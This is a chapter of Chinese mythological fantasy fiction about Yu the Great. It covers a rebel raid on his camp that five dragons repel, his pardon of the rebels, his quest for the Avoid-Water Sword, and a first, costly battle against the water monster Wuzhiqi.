就在禹与核心成员苦思降服无支祁之策,营地因怪物传闻而人心浮动之际,后勤方面传来了更为切近的坏消息。弃面色凝重地踏入大帐:“司空,情况不妙。南下路途迢递,春雨连绵,部分粮草受潮霉变,损耗超出预估。加之此前允诺提供部分粮秣的幾個部落,至今未见动静,营地存粮……恐难支撑半月之需。” 连续的阴雨使得晾晒补救极为困难,一股对饥饿的隐忧,如同湿冷的雾气,开始在数万民夫与军士中悄然蔓延。 一直默默辅助其父、负责具体粮秣调配与种植事宜的百草,此时站了出来。当年那个略带青涩的十七岁少女,如今已年近二十多岁了,数年的南征北战,风雨磨砺,让她褪去了稚嫩,出落得沉静而干练。她常年奔走于田垄、仓廪与山林之间,培育应急粮食“祝余草”、负辨识可食植物、试种耐涝作物、调配肉食与粮食的比例——她虽不常参与核心议事,却是维系这支庞大队伍生存脉络的关键人物之一。 “父亲,司空,”百草道,“近日勘察周边山林水泽,我发现数种蕈类和野菜,生长繁茂,经反复试食,确认无毒。虽不及粟米耐饥,但若能大规模、有组织地采集,搭配现存粮秣精打细算,应可助我们渡过此劫,支撑二十日左右。” 禹闻言,忧虑稍缓,眼中露出赞许之色:“百草,此乃雪中送炭!此事便交由你全权负责,需多少人手,尽管调配。” 百草领命,立即组织起一支采集队。她心思缜密,将熟悉本地植物的淮夷向导与手脚麻利的民夫混编,亲自示范如何辨识、挖掘、清洗。那个常如灵猿般穿梭营地的飞猿,立刻主动请缨负责护卫。 飞猿比百草大两岁,打小在山林里窜,眼尖得像鹰。平日里,他就总往百草身边凑,要么帮着种粮,要么替她劈柴。可怪的是,他一见百草就讷讷的,连句整话都说不利索,与平日里跟石牛、泽虎他们插科打诨的模样判若两人。弃看在眼里,有时真替这两个年轻人着急。 “我…… 我熟林子,能防着野兽。”飞猿站在百草身边,手都不知往哪儿放,讷讷地补了句。 百草抬头冲他笑了笑,阳光透过树叶洒在她认真的脸上:“那多谢你了。” 飞猿脸一下子红了,挠着头 “哎” 了一声,转身就窜到队伍前头,却没跑远,时不时回头望一眼,见百草跟上了,才又往前探路。走了半里地,前头枝桠上挂着串红浆果,百草刚要踮脚,飞猿已跟阵风似的蹿上去,摘了串递过来:“这个甜,能当水喝。” 百草接了,咬了一颗,汁水甘甜:“确实甜,你也吃。” 飞猿摆手,耳朵尖微红:“你吃,我再摘。” 说着又往另一棵树上爬,动作快得跟真猿似的。 歇息时,一个相熟的民夫挤眉弄眼地打趣飞猿:“喂,飞猿,你平时跟我们贫得很,天上地下没你接不上的话,怎么见了百草姑娘,舌头就跟打了结似的?” 飞猿瞪他一眼,作势要踢,余光瞥见百草也含笑看过来,顿时气焰全消,只闷头用随身石刀削着一根硬木。待到百草整理背篓里的药草时,他将削好的东西飞快塞到她手里——是一根打磨光滑、顶端嵌了颗小彩石的木簪。“给……给你簪头发,”他声音低得像蚊子哼,“林子密,免得树枝勾着。” 百草微微一怔,指尖触到他因紧张而有些汗湿的手,飞猿像被烫着般猛地缩回,连脖颈都红透了。百草握着那还带着他体温的木簪,望着他,忍不住莞尔。 采集队满载归来时,日头已西斜。众人将采集到的蕈类、块茎和果实小心归入粮仓区域,由弃和仓实带着人手登记、整理。百草刚帮忙清点完,正准备去清洗,营地外围突然传来了凄厉的号角声——是蒲牢发出的最高警戒! 在暮色与雾气掩护下,数股敌人从不同方向猛扑进来,其中一支精锐的目标明确,直指维系大军命脉的粮草囤放区! “保护粮仓!”弃嘶声高呼,仓实立刻带人用粮袋、车辆和一切可用的东西构筑防线。百草毫不犹豫地抓起一旁用来震慑鸟雀的木矛,与其他后勤人员一同守在防线后。她心跳如鼓,但眼神坚定,她知道这些刚刚采集回来的食物对大军意味着什么。 叛军如同潮水般涌来,与守卫者猛烈地撞在一起。木矛与石斧相交,发出沉闷的撞击声。仓实奋力挡在百草身前,格开一名叛军的劈砍,急道:“百草,小心侧面!” 一名身材魁梧的叛军突破了仓实的防御,狞笑着挥动石斧,朝着看似柔弱的百草当头劈下!百草勉力举矛格挡,却被那股巨力震得手臂发麻,木矛几乎脱手,险象环生! 就在这千钧一发之际—— “咻!” 一道黑影如同闪电般从侧翼的粮垛顶上疾射而下,伴随着破空声,一把石制短矛精准地撞在叛军的石斧上,火星四溅,硬生生将其打偏! 是飞猿!他如同真正的山猿般落地,甚至没有多看那被震退的叛军一眼,反手石刀如毒蛇出信,瞬间划过了对方的咽喉。他猛地转身,将百草护在身后,胸膛因急速奔袭和愤怒而剧烈起伏,平日跳脱的眼神此刻充满了野兽护食般的凶悍与后怕。 “百草!你没事吧?”他急促地问,目光飞快地在她身上扫过,确认她没有受伤。 “我没事!”百草大声回应,紧紧握住手中的木矛,与他背靠背站立。 更多的叛军围拢过来。飞猿将敏捷与狠厉发挥到极致,格挡、闪避、反击,动作快到让人眼花缭乱,牢牢守住百草前方的方寸之地。混战中,他的手臂被敌人的骨刃划开一道血口,鲜血瞬间浸湿了麻布衣袖,他却恍若未觉,反而更加勇猛。在一次奋力击退两名敌人的间隙,他猛地回头,对着百草,在震耳欲聋的喊杀声中,几乎是用了全身力气吼了出来:“百草!等我打完这仗!我……我要去跟你阿爹说!我要娶你!” 这石破天惊的告白,不仅让百草瞬间愣住,心如鹿撞,连旁边正与敌人缠斗的仓实都动作一滞,神色复杂地看了一眼状若疯虎的飞猿,随即沉默地挥动手中的武器。 百草望向飞猿,她重重点了点头。 与此同时,整个营地都陷入了惨烈的鏖战。 禹站在临时垒起的高台上,目光如炬,迅速扫过混乱的战场。他立刻洞察了敌人的企图与构成:“是玄夷部的首领玄伯!数股人马皆以淮夷勇士为锋锐,其中必有玄伯亲率的精锐!这些部落惧怕我治水功成,威望日隆,会动摇他们在淮泗之地的统治根基!此番勾结其他小部,是要绝我大军命脉!” 他的声音沉稳有力,穿透喧嚣,带着洞悉一切的寒意。 判断已定,指令随即斩钉截铁地下达:“岳盾!叛军蓄谋已久,熟悉地形,切不可浪战!依托营垒工事,紧缩防线,层层阻击,耗其锐气!拖住他们!” 紧接着,他转向身边的皋陶:“皋陶!持我节钺,宣告营地:凡放下武器者,无论其出身玄夷抑或附从小部,皆视作迷途知返,既往不咎!顽固追随玄伯、意图颠覆治水大业者——杀无赦!” 他刻意加重了“玄伯”和“治水大业”的字眼。 皋陶肃然领命,大步向前。他那威严的声音,瞬间盖过了战场的混乱喧嚣,字字清晰:“奉令!玄夷部玄伯勾结淮夷诸部,阻挠治水,祸乱营地,罪不容诛!凡此刻弃械者,免罪!执迷顽抗者——立斩!” 这宣告如同无形的重锤,特别是点明了叛军首领玄伯的身份和他们破坏治水的真实目的,让部分被煽动、或因畏惧玄伯而裹挟加入、内心本就摇摆的附从小部落战士产生了动摇。一些地方的攻势肉眼可见地迟滞了一瞬。 伯益则立于稍高处,闭目凝神,以其天赋沟通山林鸟兽。片刻间,成群的山鸟开始聒噪着在叛军头顶盘旋俯冲,扰其视线;一些受惊的小型兽类在叛军阵中乱窜,制造混乱。虽无法造成大量杀伤,却有效地干扰了叛军的阵型和进攻节奏,为岳卫调整布防、稳固战线争取了宝贵时间。 然而,叛军主力在玄伯的亲自督战下,依旧凶猛异常,凭借一股悍勇和熟悉地利的优势,连续突破了数道防线,战况异常激烈。岳卫锐士虽个个奋勇,石牛、山魈等力士顶在最前,鸣镝的响箭指引着防御重点,但仍付出了相当的代价,哑巴、蒲牢、姜石、羌笛英雄牺牲。防线多处告急,情势岌岌可危。 禹知道寻常手段已难挽狂澜,他目光一凝,毫不犹豫地举起颛顼玄圭。这不仅是沟通万灵的信物,更是他与五小龙之间的桥梁。此前,因墨琛在鬼愁湾探查妖鼋时,肩部被那蕴含共工残怨的水毒所伤,虽经辛夷与巫盼竭力救治,伤口仍时有反复,隐隐有侵蚀龙族本源之象。寻常药物难解,禹心系此事,恰逢应龙神念相召,他便请五小龙一同前往,希冀这位龙族尊长、亦是他们的创造者,能有净化此等上古怨毒之法。 此刻,玄圭光芒微闪,禹的意念与急迫的召唤穿透云层,直达天际。远在云层之上,正从应龙处归来的五龙立刻心生感应。得益于应龙以无上神力为其涤荡,墨琛肩上那纠缠不休的黑气已彻底驱散,伤口愈合如初,龙魂亦恢复清明。收到禹的急讯,五龙毫不迟疑,立刻化作五道流光,加速破开云层,如同五支天之箭矢,携带着刚刚获得的纯净力量与赫赫龙威,自高天之上俯冲而下! 天空骤然昏暗,风云随之翻涌。在叛军惊恐的目光中,五道庞大威严的龙影携带着沛然莫御的龙威,自云端显现,如同神兵天降! 金鳞盘旋于空,龙首威严,发出一声震耳欲聋的怒吼,声波如同实质,震得不少叛军头晕目眩,心神俱裂。它并未俯冲,而是居高临下,龙息喷吐,炽热的金色炎流如同精准的长鞭,扫过叛军最密集的区域,却巧妙避开跪地投降者和重要设施,只将顽抗之敌驱散、灼伤。 苍鬃引动水灵,淮水支流道道水柱冲天而起,化作巨大的水龙卷,在叛军阵中来回扫荡,将严密的阵型冲得七零八落,许多人被水流卷倒,武器脱手。 云踪身形如电,在空中留下道道残影,它并不直接攻击人体,而是以极速掠过战场,用龙尾精准地扫断叛军试图用来纵火的火箭、摧毁简易的攻城梯,彻底打乱了叛军的破坏计划。 墨琛潜行于战场边缘的阴影与水汽之中,它操控着地面的泥泞与水洼,制造出片片陷阱区域,使得叛军冲锋时步履维艰,甚至陷入泥淖,行动受阻。 赤须最为活跃,它游走于战场上空,赤红的龙须如同跳跃的火焰,它张口喷吐的不是烈焰,而是密集如雨的、温度极高的蒸汽团,这些蒸汽团落在叛军周围,灼烫皮肤,制造恐慌,有效地将顽抗的叛军分割、孤立开来。 龙族的参战,并非血腥屠杀,而是以绝对的力量和精准的控制进行威慑与驱散。这等神兽天威,远超凡人想象。叛军何曾见过这等阵仗?原本高昂的士气如同雪崩般瓦解,阵型彻底崩溃,无数人吓得魂飞魄散,丢下武器,跪地祈求饶命。 砺在混乱中带领民夫稳住了工匠营和一处重要工坊区,他浑身浴血,刚与木鹞、鬼薪等人击退一股敌人,心头猛地一紧——“青儿!”他想起辎重区存放着大量重要图籍,正是叛军可能破坏的重点。他对鬼薪快速交代几句,便带着木鹞、泽虎等几个得力人手拼命向辎重区方向冲去。 赶到时,正见羲青冷静地据守在一处堆高的物资后方,弓弦连连震动,“嗖嗖”几声,几名试图冲近纵火的叛军应声而倒。她的身影在烟火与混乱中显得异常坚定、甚至带着一丝凛然不可侵犯的孤独。砺心头一痛,更夹杂着难以言喻的担忧与急切,他奋力杀开一条血路,冲到她的身边。 两人背靠背,甚至来不及多说一句话,只是默契地抵御着周围零星的敌人。砺用宽阔的后背为她挡住可能袭来的冷箭,手中石斧挥舞,格开一切威胁。那份超越言语的牵挂、担忧与并肩而战的绝对信任,在刀光剑影中无声地流淌,比任何山盟海誓都更显厚重。 在五龙精准而高效的威慑、分割和驱散下,叛军迅速崩溃。玄伯见大势已去,族人死伤惨重,多年基业毁于一旦,他仰天狂笑,笑声中充满了不甘、悲凉与一丝解脱:“舜!禹!尔等休想让我玄伯俯首称臣!淮水之魂,永不屈服!”言罢,竟横刀自刎,宁死不降,身体兀自挺立良久,方才带着他的骄傲与偏执,轰然倒地。 战斗逐渐平息,留下满目疮痍与刺鼻的血腥。禹看着伤亡的部众和一片狼藉的营地,面色沉痛。他立刻下令,命巫盼、辛夷等人组织人手,全力救治伤员,无论敌我,一视同仁。 对于参与叛乱的玄夷部及其他部落民众,禹展现了超越仇恨的宽容、深远的智慧与宏大的格局。他没有挥舞复仇的屠刀,而是在所有降卒和闻讯赶来的部落代表面前,登高而立,声音洪亮而清晰地宣告:“首恶玄夷部玄伯,悖逆天道人心,已自绝于天下!其余人等,或被蛊惑,或被裹挟,情非得已,其情可悯!” 他环视着下方一张张惊惶、疲惫或愤懑的脸,掷地有声地承诺:“凡今日放下兵刃,真心归顺王化,并愿参与治水大业以赎前愆者,皆为我华夏之民!我将一视同仁,决不食言!尔等部落聚居之地,仍可自治其俗,只需依循律法,缴纳合理赋税!” 他随即命皋陶将这些体现宽恕、融合与秩序的条款,郑重地镌刻于坚实的石板之上,公示于营地中央,成为信义的象征。 后续处置更是彰显仁政:降卒中青壮被编入工程队伍,以艰辛但光荣的治水劳动赎罪,并渐渐融入集体;老弱妇孺则得到必要的口粮,或遣返原籍,或于治水沿线妥善安置,确保生存无虞。 禹此举,如春风化冰,极大地安抚了惊魂未定的人心,消解了弥漫的戾气与世代累积的部落仇恨。 数日后,尚未散尽的硝烟中,一幕令人动容的场景出现了:那些原本对禹心存疑虑、甚至暗中观望的淮夷诸部首领,纷纷率领族中长老,带着象征和平与歉疚的兽皮、粟米、草药等祭品,跋涉而来。他们神情惶恐而恭敬,在禹的营门前深深俯首,请求谒见。 “伯禹!”一位须发皆白的老酋长声音颤抖,代表众人说道:“玄伯倒行逆施,我等未能劝阻,反受其胁迫裹挟,以致酿成此祸,惊扰大军,实乃大罪!今闻伯禹仁德昭昭,不念旧恶,赦免我族罪徒,保全其家小,更许我等自治……此恩此德,如同再造!吾等淮夷诸部,自此愿真心归附,永世追随伯禹治水安民之大业!” 身后众人纷纷叩首附和,场面肃穆而诚恳。 就在此时,涂山翳也匆匆赶到。他先郑重地向禹行礼,表达了涂山氏对平叛的支持和对禹的慰问后,目光仔细地打量着禹,低声问道:“伯禹安否?营中伤亡几何?” 看着眼前淮夷首领的请罪归顺,听着涂山翳真挚的问候,禹沉静的面容上浮现出一丝宽慰。淮夷诸部的主动归附与涂山氏的坚定支持,正是对他宽恕融合政策最有力的认可! 经此一役,平水土之师内部的凝聚力空前提升,禹的威望更是如日中天。他用鲜血换来的教训与无比宽广的胸襟,不仅化解了一场迫在眉睫的分裂危机,更将原本充满敌意与隔阂的淮夷部落,真正团结到了治水安民的宏大旗帜之下。“疏导”的理念,不仅在治理江河上,也在统合万邦、凝聚人心上,展现出了其深邃伟大的力量。 飞猿在战后,果然鼓足勇气,找到正在清理战场的弃,正式提出了迎娶百草的请求。弃看着这个虽然紧张得同手同脚、却眼神无比坚定的年轻人,又看了看不远处正细心为飞猿包扎手臂伤口的女儿,终于缓缓点头,用力拍了拍飞猿未受伤的肩膀,哑声道:“好好待她。若敢负她,我饶不了你!” 就在平叛后的次日傍晚,东海使者再次来访。此番来的是老成持重的龟丞相,它步履略显蹒跚,面色比上次更为凝重。 “司空大人,”龟丞相声音带着一丝不易察觉的焦虑,“龙王陛下特命老朽再次前来。定海神针虽稳东海波涛,然淮水与东海水脉相连,同气连枝。近日,那无支祁在淮源之井兴风作浪愈甚,其狂暴水灵之力竟沿水脉传导,已开始扰动龙宫边缘安宁,水族不安,珊瑚失色。陛下深感忧虑,特命老朽前来提醒司空,此獠凶顽,恐非寻常手段能制,望司空早做万全准备,早日除此祸患,以定四海八荒之水序。” 龟丞相顿了顿,补充道,“陛下亦言,司空手中《四海潮汐图》,乃至宝,或可在关键时刻,助司空洞察水机,甚至引动天地水灵之力,具体用法,老朽稍后可为司空详解。” 禹神色肃然,谢过龙王挂念与龟丞相传讯。他当即取出那卷非丝非绢、散发着莹莹蓝光和水韵波动的《四海潮汐图》,在龟丞相的指点下,将其展开。只见图上原本规律流转的四海潮汐光影,在代表淮水“七十二道弯”及“淮源之井”的区域,赫然呈现出一片紊乱的暗流与不断扩散的黑气漩涡,与东海方向的波光隐隐形成对冲之势,直观地显示出无支祁作乱已危及更广阔的水域平衡。 送走龟丞相后,巨大的压力与连日的疲惫一同袭来,禹手抚潮汐图,竟伏于案前,沉沉睡去。 朦胧之中,忽见紫气东来,霞光盈帐,一清癯老翁,鹤发童颜,眼神深邃如星空,乘青牛而降,祥瑞之气弥漫,正是太上老君法身临凡。老君目视禹,声音缥缈而清晰,直抵神魂:“禹,尔为天下苍生,殚精竭虑,其志可动天矣。然淮水之怪,非同小可,乃上古遗孽,受共工溃散残念侵蚀,已成气候。其身与地脉相合,其魂与怨戾相融,寻常刀兵难伤,法术难近。欲克此獠,需以至宝‘避水剑’破其妖躯,斩其戾气。此剑乃先天玄铁所铸,藏于桐柏山主峰紫霄峰巅‘剑心潭’底,受天地灵机滋养。然神物自晦,取之非易,需历‘水、火、心’三劫磨砺,方可得见真容,为你所用。‘玄铁出洪炉,分波照妖骨。望尔慎之,勉之。” 言罢,老君身影化作点点清辉,消散于空中,唯留余音袅袅。 禹蓦然惊醒,帐内灯火如豆,老君之言却字字清晰,烙□□间。他深知此乃天意指引,亦是巨大考验。即刻,他召来伯益、砺、羲青、岳盾及数名最可靠的锐士,携《四海潮汐图》,并做了一项关键准备——他自随身革囊中,取出一块不过巴掌大小、却沉重异常、泛着幽暗金属光泽的碎片。此物来源于昔日的阴阳磁母尺,当时禹心念一动,觉阴阳磁母尺所化神铁或另有缘法,遂以蕴含开辟之力的伏羲开山斧,运足神力,于神尺投入东海前,艰难削下的一小块残片。此残片虽小,却内蕴阴阳磁母本源之力,妙用无穷。 事不宜迟,众人趁着月色,直赴险峻异常的紫霄峰。 紫霄峰高耸入云,峭壁如削,猿猴难攀。众人皆是好手,历经艰辛,方至人迹罕至的峰巅。只见一处幽深寒潭静卧,潭水漆黑如墨,寒气刺骨,望之生畏。潭心有一方天然石台,隐约可见一古朴石匣半露,虽未开启,却已有隐隐剑气透出,引动周遭空气发出细微铮鸣。伯益仔细观察,面色凝重:“司空,此潭水非同一般,寒气极重,触之恐瞬间冰封,形成坚不可摧的玄冰,这应是首劫‘水劫’。” 禹颔首,毫不犹豫取出那定海神针残片。此物一出,隐隐与潭心石匣产生微妙感应。禹运足神力,将残片掷向潭心!残片遇水,并非沉没,而是骤然绽放出柔和却强大的阴阳二气,旋转交织,那至阴至寒的潭水如同遇到克星,冰封之势瞬间瓦解,并向四周排开,露出潭底石台与那完整的石匣!众人皆松了口气。 然而,当岳盾谨慎上前,欲取石匣时,异变再生!石匣仿佛被无形之手开启,一道赤红烈焰自匣中喷涌而出,热浪滔天,正是能焚金融铁的“三昧真火”,此为“火劫”!烈焰席卷,几乎将石台笼罩。 禹临危不乱,忆及龟丞相指点,急速展开《四海潮汐图》,精神力灌注其中,引动图上代表天河脉络的璀璨星轨。只见图中天河虚影竟似活了过来,道道清冽灵雨自图卷中沛然降下,并非凡水,而是蕴含天地正气的净化之水,精准地浇洒在三昧真火之上。水火相交,嗤嗤作响,白雾蒸腾,那凶悍真火竟被这灵雨逐渐浇灭,石匣完整呈现。 就在禹深吸一口气,伸手握住那冰凉剑柄的刹那,眼前景象天旋地转!他仿佛瞬间脱离了紫霄峰,置身于一片洪水滔天、哀鸿遍野的幻境之中。一个悲戚而熟悉的身影浮现——正是他的父亲鲧!鲧的身影虚幻而痛苦,声音充满了失败的不甘与对儿子的担忧:“吾儿禹啊……治水之路,何其艰难!为父倾尽所有,终落得身死功败……你……你还要沿着这条注定绝望之路走下去吗?重蹈为父之覆辙?!” 幻象中,洪水吞噬生灵,天地同悲,强烈的绝望感几乎要将禹淹没。此乃最凶险的“心劫”,直指内心最深处的恐惧与疑虑。 禹心神剧震,面色瞬间苍白,但他目光扫过幻象中那些在洪水中挣扎的模糊面孔,想起追随他的万千部众,想起女娇的嘱托,想起天下苍生的期盼,他猛地双膝跪地,并非屈服,而是对着父影,坦然诉说,声音哽咽却无比坚定:“父亲!父志儿继,罪在己身!儿深知治水之难,甚于登天!然儿承父亲未尽之志,更行疏导之法,非为一己功业,非为万世显名,唯愿天下水患平息,苍生得享安宁!纵使此路万千艰险,纵使吾身碎骨粉身,亦……百死不悔!” 此言一出,宛若洪钟大吕,响彻幻境。父影鲧凝视他良久,眼中悲戚渐化一丝难以言喻的复杂,是欣慰,是释然,最终,幻象如同涟漪般消散,心魔顿破! 石匣洞开,再无阻碍。一柄长剑静卧其中,剑身古朴,隐有玄奥纹路,流光内蕴,寒气森森。禹伸手,缓缓将其握住。刹那间,血脉相连之感涌遍全身,剑身轻颤,发出愉悦清鸣,其上浮现出四字铭文——“禹德配玄水”,神器认主!禹挥动剑身,但见剑光过处,前方潭水自然分向两侧,辟开一条无水通道,剑格之上镶嵌的一颗分水珠清辉流转,光芒照入水底,幽暗之处皆被照亮,妖邪之气无所遁形。此正是能分波辟浪、照彻妖邪的避水神剑! 携剑归营,禹信心倍增。恰在此时,负责侦察的鸣镝前来急报,无支祁在淮井水域活动加剧,掀起巨浪,威胁沿岸新筑工事。 禹决意以此剑初战,一试锋芒,若能伤之,或可寻得制胜之机。遂亲率五龙及岳盾所率锐士,奔赴淮井水域。 无支祁感应到强大威胁,自深水之中彻底显现真容!其形貌与传说无二:青灰色身躯宛如山峦,白首披散,一双金色眼眸大如灯笼,冰冷无情,雪亮獠牙突出唇外,状如猿猴却更显狰狞。它甫一现身,便搅动风云,淮水为之倒流,雷暴凭空生成,环绕其周,声威骇人。它睥睨岸上众人,发出混合着水流与金石摩擦的狞笑:“无知蝼蚁,仗些许神兵,也敢犯我疆界,扰我清静?” 五龙见状,毫不畏惧,结阵出击,各展神通,龙吟震天。然而无支祁对水文的掌控已臻化境,庞大身躯在水中有如鬼魅,挥手间便是无数方向诡谲、吸力惊人的漩涡,竟将五龙默契的攻势一一化解、偏转,苍鬃更是一个不慎,被一道突兀出现的巨大水龙卷狠狠击中,龙鳞崩裂,痛吼出声。禹见势,知不能再等,大喝一声,腾空而起,挥动避水剑!剑光如匹练,撕裂空气,所过之处,狂涛恶浪自然分开,直刺无支祁心口要害! 无支祁金色眼眸中闪过一丝惊异,显然识得此剑厉害。它不敢用身躯硬接,猛地张口喷出一股浓郁如墨的黑气,其中更夹杂着一股凝练如实质的妖风,并非直击禹,而是如同无形巨手,巧妙一绕,竟生生卷住了禹手中神剑!禹只觉一股巨力传来,虎口迸裂,避水剑脱手而出,化作一道流光,被那妖风裹挟着掷向远方最深、最湍急的漩涡中心,瞬间消失不见! 神剑失手,五龙受挫,战局瞬间逆转。无支祁狂笑不止,驱浪猛扑。正当禹心头一沉之际,岸边传来焦急呼声:“司空莫慌!老朽来也!” 只见本应返回东海的龟丞相去而复返,它奋力跃入水中,虽行动迟缓,却精准地游至禹身旁,急声道:“司空,快请出《四海潮汐图》!此图玄妙,老朽或可凭龙宫秘法,助司空感应神剑方位!” 禹虽讶异于龟丞相去而复返,但情势危急,不容多想,立刻自怀中取出那卷非丝非绢、莹莹蓝光流转的图卷。龟丞相接过图卷,将其悬于水面之上,旋即咬破指尖,以自身蕴含龙宫水元精气的血液点在图上淮水区域,口中念念有词,乃是龙族传承的古老口诀。顿时,图中星轨以前所未有的速度流转起来,一道细微却清晰无比、仿佛蕴含生命律动的亮线,自图卷骤然射出,无视浑浊汹涌的河水,直指水下某处,牢牢锁定了一个微弱但坚定不移的光点——正是避水剑坠落之处! “司空,快!循此光指引!此感应维持不了太久!” 龟丞相疾呼,额角已见汗珠,显然施展此法对它消耗极大。禹精神大振,不顾身上伤势与水浪冲击,纵身入水,循着那《潮汐图》发出的独特指引,奋力下潜,终于在乱流与狰狞礁石的狭窄缝隙间,重新抓住了那冰凉而熟悉的剑柄!避水剑重回主人之手,仿佛感受到禹不屈的意志与危局中的急切,光华更盛,清辉凛冽。 禹持剑破水而出,落回岸边。他还剑入鞘,立刻转向气喘吁吁、气息萎靡了许多的龟丞相,深深一揖:“多谢丞相去而复返,鼎力相助!若非丞相熟知龙宫秘法,催动宝图,禹几失神剑,铸成大错!” 龟丞相摆摆蹼足,声音带着疲惫与一丝后怕:“司空不必多礼。老朽本是回东海复命,途中忽觉此地水元剧震,妖气冲天,心知有变,恐司空有失,陛下怪罪,更负盟友之谊,故而拼着这把老骨头折返。幸好……幸好赶上了。” 它望向依旧波涛汹涌的淮井方向,眼中忧色更浓。“唉,此獠之能,竟一至于斯!司空,看来仅凭神剑之利,欲降服此怪,难矣。它在此地盘踞日久,力借地脉,势通水文,几已与这片水域融为一体,恐需另寻彻底根治之策,方能克之。” 禹颔首,神色凝重:“丞相所言,正是禹此刻所思。避水剑可伤其躯,却难断其根,难解其怨,更难将其与这方水土剥离。此番教训,禹铭记于心。有劳丞相再三奔波,感激不尽!还请丞相先回龙宫,将此间情形禀明龙王陛下,禹需从长计议,再图良策。” “正当如此。” 龟丞相连连点头,“司空保重,老朽这就返回东海复命。龙宫既与司空结盟,但有所需,司空可通过《潮汐图》或玄圭传讯,龙宫必当尽力。” 说罢,龟丞相再次向禹行礼,随即转身,带着满身疲惫,缓缓沉入水中,涟漪散尽,身影消失于淮水支流,径返东海而去。 然此一战,虽侥幸夺回神剑,未酿成彻底溃败,但禹与五龙皆负伤不轻,锐士亦有折损,士气受挫,可谓一场代价沉重的失利。禹抚摸着冰凉的剑身,心中明悟:避水剑确能威胁甚至创伤无支祁,否则老君不会特意指引,无支祁也不会忌惮。但此怪狡诈异常,力大无穷,更能操控水文地利,即便能伤它,也难以将其彻底制服或斩杀。一旦其遁入深水巢穴,借助地脉恢复,后患无穷。必须有一物,能在其被避水剑所伤或压制时,将其牢牢锁住,断绝其与地脉水势的联系,方能真正降服。 归营后,禹不顾伤势,立即召集所有核心成员,包括刚刚调息完毕的五龙,共商对策。帐内气氛沉闷,初战的失利让众人心情沉重。 苍鬃龙首率先开口,龙吟中带着不甘与愤怒:“不过是一得了些造化、占山为王的水怪罢了!焉敢妄称‘水神’?我等龙族,乃天地敕封之正神,司云布雨,统御水族,岂容此獠在此无法无天,亵渎水元?司空,只需你一声令下,我兄妹五人即便拼得鳞甲尽碎,也定再潜入水底,与那妖猴决一死战!” 墨琛经历鬼愁湾之险,更为沉稳谨慎,他龙躯上伤口仍在隐隐作痛:“苍鬃大哥不可轻敌,愤怒只会蒙蔽理智。据闻且亲见,此怪不仅力大无穷,远超我等,更久居此地,对淮水每一处暗流、每一道漩涡了如指掌,如同臂使。水下乃其绝对主场,它能调动整个水域之力为己用。我等虽为龙族,天生亲水,但在如此险恶且被其掌控的环境中与之争斗,天时地利皆失,胜负实在难料。尤其那核心区域的诡异漩涡,其中蕴含的力量恐非单纯水力,似有古老的邪术诅咒加持,不可不防。” 苍鬃压下怒火,龙须摆动:“不错,需得设法将其引出水面,或限制其行动,削弱其地利,方好下手。” 云踪龙身影模糊,声音带着急速的韵律:“若能寻得其巢穴确切位置,或可设下埋伏,断其退路,逼其正面决战。” 金麟龙周身金光流转,提出另一可能:“此怪似有极高灵智,能言人语,通晓世情,或可尝试与之沟通?若其愿约束自身行为,不再为患淮水,或可免于一战,生灵免遭涂炭?” 羲青沉吟片刻,道:“据我多方探访古老歌谣与部落口传历史,无支祁盘踞于此,似乎与一段被遗忘的、关于淮水本身的‘古老悲歌’有关。其狂怒背后,或隐藏着不为人知的过往。” 这时,巫盼在妻子辛夷的搀扶下,缓缓自帐外步入。新婚的祥和之气让他原本憔悴的面容多了几分润泽,眼神也愈发深邃通透,仿佛能看穿表象,直溯本源。他望向禹,声音低沉而清晰,带着巫祝特有的空灵:“司空,我近日于静室中冥思,细观此地紊乱气机,那无支祁之狂悖暴戾,其根源深处,并非天生邪恶,而是……源自巨大的、被时光尘封的悲伤与彻骨铭心的背叛。” 他话语一出,帐内皆静,落针可闻。“散落的古老记忆碎片,隐约指向一场湮灭于岁月长河的巨变。据说,在遥远得难以追忆的过去,淮水流域曾有一支与自然万物和谐共生的‘灵明之族’,其形类猿,却聪慧善良,通晓天地韵律,无支祁或是其中一员,甚至是族群的守护者。然而,一场突如其来的、或许是源自天外陨击,或许是源于远古时期人族部落迅猛扩张引发的冲突与灾难,摧毁了它们赖以生存的家园,族人凋零,文明断绝。那幸存的無支祁,在极致悲痛与绝望的侵蚀下,心灵已然脆弱不堪,又遭遇了溃散至此、充满怨念的共工残魂侵蚀……这双重打击,如同雪上加霜,彻底扭曲了它的心灵,它对所谓的‘秩序’与‘正义’彻底失望,认为那不过是强者用以粉饰掠夺、欺凌弱小的虚伪谎言。它最终选择以绝对的力量掌控一切,以无尽的暴戾宣泄内心痛苦,将这片曾经的故土、昔日的乐园,化为了禁锢自己也禁锢所有后来者的永恒牢笼。” 一直沉默旁听,指尖无意识摩挲着腰间那枚“星垣玉魄”的涂山翳,此刻缓缓接口,声音悠远,带着狐族特有的沧桑:“我涂山氏世代传承的古老记载中,亦有模糊提及与此相关的只言片语。‘星垣’之名,乃因它能感应天上箕、尾星宿之光华,主风调雨顺,定四方水汽;‘玉魄’之实,则因其深植我涂山地脉核心,蕴含滋养万物、宁静心魂之生机。此宝真正玄妙,在于能沟通天地间最为清宁平和之气。或许……它的力量,能穿透那厚重怨毒与绝望的屏障,触及那被深深埋藏的、属于‘灵明之族’的本真记忆碎片,那其中,应有它们曾誓死守护、无比珍视的、对这片壮丽山河最原始的‘爱’与眷恋。” 这个全新的视角,仿佛一道光,刺破了帐内凝重的黑暗,让所有人动容。禹回想起之前通过颛顼玄圭试图沟通时,隐约感应到的那一丝清澈的悲鸣与无支祁狂暴表象下的不甘与挣扎,心中豁然开朗,如拨云见日:“若真如此,简单斩杀它,便是以暴易暴,徒增杀孽,更断绝了真正救赎此獠、理解并治愈淮水深层伤痛的唯一可能。我们需要的不只是一件杀戮之器,更需一件能承受其力、疏导其狂、净化其戾,并最终唤醒其被蒙蔽本心的法器!” “那么,铸造一条特殊的‘锁链’如何?” 一直沉思的砺猛然抬头,眼中闪烁着工匠看到绝佳材料时的光芒,“但不是普通的锁链。它需坚不可摧,能承受巨力撕扯;需能引导、平息狂暴水流,化狂澜为安澜;更需……能承载希望与愿力,沟通心魂,传递善念。” 这个想法让禹眼前一亮,脑海中瞬间串联起诸多线索。他想到了应龙所授戊土神髓的厚重与承载,想到了伏羲开山斧蕴含的劈开混沌、建立秩序的伟力,想到了多年来疏导水患过程中积累的万民功德与宏愿。“不仅是锁链,更应是一件‘导水镇灵’之神器!集镇压、疏导、净化、沟通于一体!” 他目光灼灼地看向砺,“需要何等材料?何等工序?” 